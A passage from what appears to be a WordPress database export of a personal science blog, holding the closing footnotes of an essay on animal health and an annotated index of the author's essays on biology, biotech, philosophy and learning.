Orijen, another premium pet food, which costs only $90/month. Every time he refuses to eat it and begs for my food instead I feel a pain in my wallet.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-4-146513636\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>True story: a friend of mine went to his PCP to try to get Ozempic prescribed. First, they prescribed him metformin. This, of course, failed to make him lose weight. Then the PCP sent him to a weight loss clinic, which prescribed him liraglutide, which, of course, also failed to make him lose weight. This same weight loss clinic made him sit through a 45 minute presentation on the glories of gastric bypass surgery. After this experience, my friend gave up and just decided to intermittently fast, which, so far, has actually worked quite well for him. He’s lost over 100 pounds!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-5-146513636\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They also tend to do a lot of stuff in-house, like the dentistry work mentioned above, even when maybe they shouldn’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-6-146513636\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is total nonsense, of course, like most stem cell stuff. I think, by this point, people have recognized that injecting stem cells into injured tissue and expecting a miracle is nonsense for human health, but somehow that approach still survives in animal health and can get the only KOL in a disease locked up in an exclusivity contract. Blame that on the immaturity of animal health as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/animal-health-is-still-in-its-infancy#footnote-anchor-7-146513636\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The literature estimates between 0.5 and 12% of cats have feline stomatitis, which is a hilariously wide estimate that again points to the immaturity of animal health as a field. Like, seriously, if a cat has a bloody mouth and won’t eat or drink, he has feline stomatitis. It’s not exactly hard to diagnose. My personal estimate is that about 1% of cats get it in any given year, based on some back-of-the-envelope calculations and a bunch of conversations with vets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/152746470-kazzius\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/10447466-ls\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/152559154-alex-scorer\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/240556-auros\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/profile/219978959-mashstars\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>6 Likes</a>∙</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/note/p-146513636/restacks?utm_source=substack&amp;utm_content=facepile-restacks\">1 Restack</a></p>\n<!-- /wp:paragraph -->','Animal health is still in its infancy','','inherit','closed','closed','','473-revision-v1','','','2025-07-03 19:12:47','2025-07-03 19:12:47','',473,'https://trevorklee.com/?p=474',0,'revision','',0),
(475,1,'2025-07-03 19:14:10','2025-07-03 19:14:10','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" 